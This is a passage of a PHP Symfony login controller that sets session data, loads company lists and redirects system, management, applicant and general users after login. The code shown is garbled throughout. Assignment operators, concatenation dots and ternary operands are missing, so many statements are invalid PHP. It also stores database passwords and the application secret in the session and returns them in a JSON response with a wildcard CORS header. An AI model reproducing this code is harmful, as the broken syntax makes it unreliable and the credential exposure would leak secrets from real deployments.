  2578.                     }
  2579.                     //                    if($request->request->has('gocId')
  2580.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2581.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2582.                     //                    else
  2583.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2584.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2585.                     // System administrator
  2586.                     // System administrator have successfully logged in. Lets add a login ID.
  2587.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2588.                         ->findOneBy(
  2589.                             array(
  2590.                                 'userId' => $user->getUserId()
  2591.                             )
  2592.                         );
  2593.                     if ($employeeObj) {
  2594.                         $employeeId $employeeObj->getEmployeeId();
  2595.                         $epositionId $employeeObj->getPositionId();
  2596.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2597.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2598.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2599.                     }
  2600.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2601.                         ->findOneBy(
  2602.                             array(
  2603.                                 'userId' => $user->getUserId(),
  2604.                                 'workingStatus' => 1
  2605.                             )
  2606.                         );
  2607.                     if ($currentTask) {
  2608.                         $currentTaskId $currentTask->getId();
  2609.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2610.                     }
  2611.                     $userId $user->getUserId();
  2612.                     $userCompanyId 1;
  2613.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2614.                     $userEmail $user->getEmail();
  2615.                     $userImage $user->getImage();
  2616.                     $userFullName $user->getName();
  2617.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2618.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2619.                     $position_list_array json_decode($user->getPositionIds(), true);
  2620.                     if ($position_list_array == null$position_list_array = [];
  2621.                     $filtered_pos_array = [];
  2622.                     foreach ($position_list_array as $defPos)
  2623.                         if ($defPos != '' && $defPos != 0)
  2624.                             $filtered_pos_array[] = $defPos;
  2625.                     $position_list_array $filtered_pos_array;
  2626.                     if (!empty($position_list_array))
  2627.                         $curr_position_id $position_list_array[0];
  2628.                     $userDefaultRoute $user->getDefaultRoute();
  2629. //                    $userDefaultRoute = 'MATHA';
  2630.                     $allModuleAccessFlag 1;
  2631.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2632.                         $userDefaultRoute '';
  2633. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2634.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2635.                     if (isset($companyList[$userCompanyId])) {
  2636.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2637.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2638.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2639.                         $company_locale $companyList[$userCompanyId]['locale'];
  2640.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2641.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2642.                     }
  2643.                     if ($allModuleAccessFlag == 1)
  2644.                         $prohibit_list_array = [];
  2645.                     else if ($curr_position_id != 0)
  2646.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2647.                     $loginID $this->get('user_module')->addUserLoginLog(
  2648.                         $userId,
  2649.                         $request->server->get("REMOTE_ADDR"),
  2650.                         $curr_position_id
  2651.                     );
  2652.                     $appIdList json_decode($user->getUserAppIdList());
  2653.                     $branchIdList json_decode($user->getUserBranchIdList());
  2654.                     if ($branchIdList == null$branchIdList = [];
  2655.                     $branchId $user->getUserBranchId();
  2656.                     if ($appIdList == null$appIdList = [];
  2657. //
  2658. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2659. //                        $appIdList[] = $user->getUserAppId();
  2660. //
  2661. //                    foreach ($appIdList as $currAppId) {
  2662. //                        if ($currAppId == $user->getUserAppId()) {
  2663. //
  2664. //                            foreach ($company_id_list as $index_company => $company_id) {
  2665. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2666. //                                $app_company_index = $currAppId . '_' . $company_id;
  2667. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2668. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2669. //                            }
  2670. //                        } else {
  2671. //
  2672. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2673. //                                $this->getDoctrine()->getManager('company_group'),
  2674. //                                $gocEnabled,
  2675. //                                $currAppId
  2676. //                            );
  2677. //                            if (!empty($dataToConnect)) {
  2678. //                                $connector = $this->container->get('application_connector');
  2679. //                                $connector->resetConnection(
  2680. //                                    'default',
  2681. //                                    $dataToConnect['dbName'],
  2682. //                                    $dataToConnect['dbUser'],
  2683. //                                    $dataToConnect['dbPass'],
  2684. //                                    $dataToConnect['dbHost'],
  2685. //                                    $reset = true
  2686. //                                );
  2687. //                                $em = $this->getDoctrine()->getManager();
  2688. //
  2689. //                                $companyList = Company::getCompanyListWithImage($em);
  2690. //                                foreach ($companyList as $c => $dta) {
  2691. //                                    //                                $company_id_list[]=$c;
  2692. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2693. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2694. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2695. //                                    $app_company_index = $currAppId . '_' . $c;
  2696. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2697. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2698. //                                }
  2699. //                            }
  2700. //                        }
  2701. //                    }
  2702.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2703.                     // General User
  2704.                     $employeeId 0;
  2705.                     $currentMonthHolidayList = [];
  2706.                     $currentHolidayCalendarId 0;
  2707.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2708.                         ->findOneBy(
  2709.                             array(
  2710.                                 'userId' => $user->getUserId()
  2711.                             )
  2712.                         );
  2713.                     if ($employeeObj) {
  2714.                         $employeeId $employeeObj->getEmployeeId();
  2715.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2716.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2717.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2718.                     }
  2719.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2720.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2721.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2722.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2723.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2724.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2725.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2726.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2727.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2728.                     $session->set(UserConstants::USER_NAME$user->getName());
  2729.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2730.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2731.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2732.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2733.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2734.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2735.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2736.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2737.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2738.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2739.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2740.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2741.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2742.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2743.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2744.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2745.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2746.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2747.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2748.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2749.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2750.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2751.                         return $this->redirectToRoute("user_login_position");
  2752.                     } else {
  2753.                         $PL json_decode($user->getPositionIds(), true);
  2754.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2755.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2756.                         $loginID $this->get('user_module')->addUserLoginLog(
  2757.                             $session->get(UserConstants::USER_ID),
  2758.                             $request->server->get("REMOTE_ADDR"),
  2759.                             $PL[0]
  2760.                         );
  2761.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2762.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2763.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2764.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2765.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2766.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2767.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2768.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2769.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2770.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2771.                         $appIdList json_decode($user->getUserAppIdList());
  2772.                         if ($appIdList == null$appIdList = [];
  2773.                         $companyIdListByAppId = [];
  2774.                         $companyNameListByAppId = [];
  2775.                         $companyImageListByAppId = [];
  2776.                         if (!in_array($user->getUserAppId(), $appIdList))
  2777.                             $appIdList[] = $user->getUserAppId();
  2778.                         foreach ($appIdList as $currAppId) {
  2779.                             if ($currAppId == $user->getUserAppId()) {
  2780.                                 foreach ($company_id_list as $index_company => $company_id) {
  2781.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2782.                                     $app_company_index $currAppId '_' $company_id;
  2783.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2784.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2785.                                 }
  2786.                             } else {
  2787.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2788.                                     $this->getDoctrine()->getManager('company_group'),
  2789.                                     $gocEnabled,
  2790.                                     $currAppId
  2791.                                 );
  2792.                                 if (!empty($dataToConnect)) {
  2793.                                     $connector $this->container->get('application_connector');
  2794.                                     $connector->resetConnection(
  2795.                                         'default',
  2796.                                         $dataToConnect['dbName'],
  2797.                                         $dataToConnect['dbUser'],
  2798.                                         $dataToConnect['dbPass'],
  2799.                                         $dataToConnect['dbHost'],
  2800.                                         $reset true
  2801.                                     );
  2802.                                     $em $this->getDoctrine()->getManager();
  2803.                                     $companyList Company::getCompanyListWithImage($em);
  2804.                                     foreach ($companyList as $c => $dta) {
  2805.                                         //                                $company_id_list[]=$c;
  2806.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2807.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2808.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2809.                                         $app_company_index $currAppId '_' $c;
  2810.                                         $company_locale $companyList[$c]['locale'];
  2811.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2812.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2813.                                     }
  2814.                                 }
  2815.                             }
  2816.                         }
  2817.                         $session->set('appIdList'$appIdList);
  2818.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2819.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2820.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2821.                         $branchIdList json_decode($user->getUserBranchIdList());
  2822.                         $branchId $user->getUserBranchId();
  2823.                         $session->set('branchIdList'$branchIdList);
  2824.                         $session->set('branchId'$branchId);
  2825.                         if ($user->getAllModuleAccessFlag() == 1)
  2826.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2827.                         else
  2828.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2829.                         $session_data = array(
  2830.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2831.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2832.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2833.                             'oAuthToken' => $session->get('oAuthToken'),
  2834.                             'locale' => $session->get('locale'),
  2835.                             'firebaseToken' => $session->get('firebaseToken'),
  2836.                             'token' => $session->get('token'),
  2837.                             'firstLogin' => $firstLogin,
  2838.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2839.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2840.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2841.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2842.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2843.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2844.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2845.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2846.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2847.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2848.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2849.                             'oAuthImage' => $session->get('oAuthImage'),
  2850.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2851.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2852.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2853.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2854.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2855.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2856.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2857.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2858.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2859.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2860.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2861.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2862.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2863.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2864.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2865.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2866.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2867.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2868.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2869.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2870.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2871.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2872.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2873.                             //new
  2874.                             'appIdList' => $session->get('appIdList'),
  2875.                             'branchIdList' => $session->get('branchIdList'null),
  2876.                             'branchId' => $session->get('branchId'null),
  2877.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2878.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2879.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2880.                         );
  2881.                         $session_data $this->filterClientSessionData($session_data);
  2882.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2883.                         $session_data $tokenData['sessionData'];
  2884.                         $token $tokenData['token'];
  2885.                         $session->set('token'$token);
  2886.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2887.                             $session->set('remoteVerified'1);
  2888.                             $response = new JsonResponse(array(
  2889.                                 'uid' => $session->get(UserConstants::USER_ID),
  2890.                                 'session' => $session,
  2891.                                 'token' => $token,
  2892.                                 'success' => true,
  2893.                                 'session_data' => $session_data,
  2894.                             ));
  2895.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2896.                             return $response;
  2897.                         }
  2898.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2899.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2900.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2901.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2902.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2903.                                     return $this->redirect($red);
  2904.                                 }
  2905.                             } else {
  2906.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2907.                             }
  2908.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2909.                             return $this->redirectToRoute("dashboard");
  2910.                         else
  2911.                             return $this->redirectToRoute($user->getDefaultRoute());
  2912. //                        if ($request->server->has("HTTP_REFERER")) {
  2913. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2914. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2915. //                            }
  2916. //                        }
  2917. //
  2918. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2919. //                        if ($request->request->has('referer_path')) {
  2920. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2921. //                                return $this->redirect($request->request->get('referer_path'));
  2922. //                            }
  2923. //                        }
  2924. //                        //                    if($request->request->has('gocId')
  2925. //
  2926. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2927. //                            return $this->redirectToRoute("dashboard");
  2928. //                        else
  2929. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2930.                     }
  2931.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2932.                     $applicantId $user->getApplicantId();
  2933.                     $userId $user->getApplicantId();
  2934.                     $globalId $user->getApplicantId();
  2935.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2936.                     $isConsultant $user->getIsConsultant() == 0;
  2937.                     $isRetailer $user->getIsRetailer() == 0;
  2938.                     $retailerLevel $user->getRetailerLevel() == 0;
  2939.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2940.                     $isModerator $user->getIsModerator() == 0;
  2941.                     $isAdmin $user->getIsAdmin() == 0;
  2942.                     $userEmail $user->getOauthEmail();
  2943.                     $userImage $user->getImage();
  2944.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2945.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2946.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2947.                     $buddybeeBalance $user->getAccountBalance();
  2948.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2949.                     $userDefaultRoute 'applicant_dashboard';
  2950. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2951.                     $userAppIds = [];
  2952.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2953.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2954.                     if ($userAppIds == null$userAppIds = [];
  2955.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2956.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2957.                     foreach ($userTypesByAppIds as $aid => $accData)
  2958.                         if (in_array($aid$userSuspendedAppIds))
  2959.                             unset($userTypesByAppIds[$aid]);
  2960.                         else
  2961.                             $userAppIds[] = $aid;
  2962. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2963.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2964.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2965.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2966.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2967.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2968.                     $loginID MiscActions::addEntityUserLoginLog(
  2969.                         $em_goc,
  2970.                         $userId,
  2971.                         $applicantId,
  2972.                         1,
  2973.                         $request->server->get("REMOTE_ADDR"),
  2974.                         0,
  2975.                         $request->request->get('deviceId'''),
  2976.                         $request->request->get('oAuthToken'''),
  2977.                         $request->request->get('oAuthType'''),
  2978.                         $request->request->get('locale'''),
  2979.                         $request->request->get('firebaseToken''')
  2980.                     );
  2981.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2982.                     // General User
  2983.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2984.                         ->findOneBy(
  2985.                             array(
  2986.                                 'userId' => $user->getUserId()
  2987.                             )
  2988.                         );
  2989.                     if ($employeeObj) {
  2990.                         $employeeId $employeeObj->getEmployeeId();
  2991.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2992.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2993.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2994.                     }
  2995.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2996.                         ->findOneBy(
  2997.                             array(
  2998.                                 'userId' => $user->getUserId(),
  2999.                                 'workingStatus' => 1
  3000.                             )
  3001.                         );
  3002.                     if ($currentTask) {
  3003.                         $currentTaskId $currentTask->getId();
  3004.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  3005.                     }
  3006.                     $userId $user->getUserId();
  3007.                     $userCompanyId 1;
  3008.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  3009.                     $userEmail $user->getEmail();
  3010.                     $userImage $user->getImage();
  3011.                     $userFullName $user->getName();
  3012.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3013.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3014.                     $position_list_array json_decode($user->getPositionIds(), true);
  3015.                     if ($position_list_array == null$position_list_array = [];
  3016.                     $filtered_pos_array = [];
  3017.                     foreach ($position_list_array as $defPos)
  3018.                         if ($defPos != '' && $defPos != 0)
  3019.                             $filtered_pos_array[] = $defPos;
  3020.                     $position_list_array $filtered_pos_array;
  3021.                     if (!empty($position_list_array))
  3022.                         foreach ($position_list_array as $defPos)
  3023.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3024.                                 $curr_position_id $defPos;
  3025.                             }
  3026.                     $userDefaultRoute $user->getDefaultRoute();
  3027.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3028.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3029.                         $userDefaultRoute 'user_default_page';
  3030.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3031.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3032.                     if (isset($companyList[$userCompanyId])) {
  3033.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3034.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3035.                         $company_locale $companyList[$userCompanyId]['locale'];
  3036.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3037.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3038.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3039.                     }
  3040.                     if ($allModuleAccessFlag == 1)
  3041.                         $prohibit_list_array = [];
  3042.                     else
  3043.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3044.                     $loginID $this->get('user_module')->addUserLoginLog(
  3045.                         $userId,
  3046.                         $request->server->get("REMOTE_ADDR"),
  3047.                         $curr_position_id
  3048.                     );
  3049.                     $appIdList json_decode($user->getUserAppIdList());
  3050.                     $branchIdList json_decode($user->getUserBranchIdList());
  3051.                     if ($branchIdList == null$branchIdList = [];
  3052.                     $branchId $user->getUserBranchId();
  3053.                     if ($appIdList == null$appIdList = [];
  3054.                     if (!in_array($user->getUserAppId(), $appIdList))
  3055.                         $appIdList[] = $user->getUserAppId();
  3056.                     foreach ($appIdList as $currAppId) {
  3057.                         if ($currAppId == $user->getUserAppId()) {
  3058.                             foreach ($company_id_list as $index_company => $company_id) {
  3059.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3060.                                 $app_company_index $currAppId '_' $company_id;
  3061.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3062.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3063.                             }
  3064.                         } else {
  3065.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3066.                                 $this->getDoctrine()->getManager('company_group'),
  3067.                                 $gocEnabled,
  3068.                                 $currAppId
  3069.                             );
  3070.                             if (!empty($dataToConnect)) {
  3071.                                 $connector $this->container->get('application_connector');
  3072.                                 $connector->resetConnection(
  3073.                                     'default',
  3074.                                     $dataToConnect['dbName'],
  3075.                                     $dataToConnect['dbUser'],
  3076.                                     $dataToConnect['dbPass'],
  3077.                                     $dataToConnect['dbHost'],
  3078.                                     $reset true
  3079.                                 );
  3080.                                 $em $this->getDoctrine()->getManager();
  3081.                                 $companyList Company::getCompanyListWithImage($em);
  3082.                                 foreach ($companyList as $c => $dta) {
  3083.                                     //                                $company_id_list[]=$c;
  3084.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3085.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3086.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3087.                                     $app_company_index $currAppId '_' $c;
  3088.                                     $company_locale $companyList[$c]['locale'];
  3089.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3090.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3091.                                 }
  3092.                             }
  3093.                         }
  3094.                     }
  3095.                     if (count($position_list_array) > 1) {
  3096.                         $userForcedRoute 'user_login_position';
  3097. //                        return $this->redirectToRoute("user_login_position");
  3098.                     } else {
  3099.                     }
  3100.                 } else {
  3101.                     $isEmailVerified 1;
  3102.                 }
  3103.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3104.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3105.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3106.                 ) {
  3107.                     $session_data = array(
